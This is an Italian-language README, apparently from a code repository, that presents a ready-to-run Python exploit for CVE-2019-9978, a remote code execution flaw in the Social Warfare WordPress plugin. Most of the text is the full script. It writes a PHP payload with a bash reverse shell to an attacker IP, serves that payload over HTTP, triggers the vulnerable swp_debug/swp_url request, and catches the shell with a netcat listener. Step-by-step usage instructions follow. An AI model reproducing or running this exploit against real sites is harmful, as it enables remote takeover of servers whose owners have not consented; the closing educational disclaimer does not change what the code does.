Questo repository contiene un exploit Python funzionante per CVE-2019-9978, una vulnerabilità di esecuzione di codice remoto nel plugin Social Warfare per WordPress (versione <= 3.5.2).

Descrizione

Il parametro swp_debug in admin-post.php consente a un attaccante remoto di includere file esterni contenenti codice PHP malevolo, che vengono valutati sul server. Fornendo un URL appositamente costruito che ospita un payload di reverse shell, un attaccante può ottenere l'esecuzione di comandi.

Funzionalità dell'exploit

Ospita un payload PHP usando il server HTTP integrato di Python.
Invia un parametro swp_url malevolo per attivare l'RCE.
Avvia un listener Netcat per catturare la reverse shell.
Scrive automaticamente il payload con il corretto escaping per un'esecuzione del codice riuscita.

Requisiti

Python 3.x
Netcat
Risoluzione DNS locale per il dominio di destinazione (ad es. example.com mappata sull'IP di destinazione)

Codice dell'exploit

#!/usr/bin/env python3

import requests
import threading
import http.server
import socketserver
import os
import subprocess
import time

# --- Config ---
TARGET_URL = "http://example.com"
ATTACKER_IP = "192.168.26.130"  # Change to your attack box IP
HTTP_PORT = 8000
LISTEN_PORT = 4447
PAYLOAD_FILE = "payload.txt"

def create_payload():
    """Write exact reverse shell payload using valid PHP syntax"""
    payload = f'<pre>system("bash -c \\"bash -i >& /dev/tcp/{ATTACKER_IP}/{LISTEN_PORT} 0>&1\\"")</pre>'
    with open(PAYLOAD_FILE, "w") as f:
        f.write(payload)
    print(f"[+] Payload written to {PAYLOAD_FILE}")

def start_http_server():
    """Serve payload over HTTP"""
    handler = http.server.SimpleHTTPRequestHandler
    with socketserver.TCPServer(("", HTTP_PORT), handler) as httpd:
        print(f"[+] HTTP server running at port {HTTP_PORT}")
        httpd.serve_forever()

def start_listener():
    """Start Netcat listener"""
    print(f"[+] Listening on port {LISTEN_PORT} for reverse shell...")
    subprocess.call(["nc", "-lvnp", str(LISTEN_PORT)])

def send_exploit():
    """Trigger the exploit with vulnerable parameter"""
    payload_url = f"http://{ATTACKER_IP}:{HTTP_PORT}/{PAYLOAD_FILE}"
    exploit = f"{TARGET_URL}/wp-admin/admin-post.php?swp_debug=load_options&swp_url={payload_url}"
    print(f"[+] Sending exploit: {exploit}")
    try:
        requests.get(exploit, timeout=5)
    except requests.exceptions.RequestException:
        pass

def main():
    create_payload()

    # Start web server in background
    http_thread = threading.Thread(target=start_http_server, daemon=True)
    http_thread.start()
    time.sleep(2)  # Give server time to start

    # Start listener in background
    listener_thread = threading.Thread(target=start_listener)
    listener_thread.start()
    time.sleep(1)

    # Send the malicious request
    send_exploit()

if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        print("[-] Interrupted by user.")

Utilizzo

Aggiorna ATTACKER_IP e LISTEN_PORT con l'IP della tua macchina e la porta desiderata.
Assicurati che il dominio di destinazione risolva example.com all'IP corretto.
Esegui lo script:

python3 exploit.py

Cattura la reverse shell nel tuo listener.

Riferimenti

Disclaimer

Questo exploit è fornito solo a scopo educativo. Non utilizzarlo senza autorizzazione esplicita su alcun sistema che non possiedi.

Più Popolari

CVE-2019-9978-Social-Warfare-WordPress-Plugin-RCE

Informazioni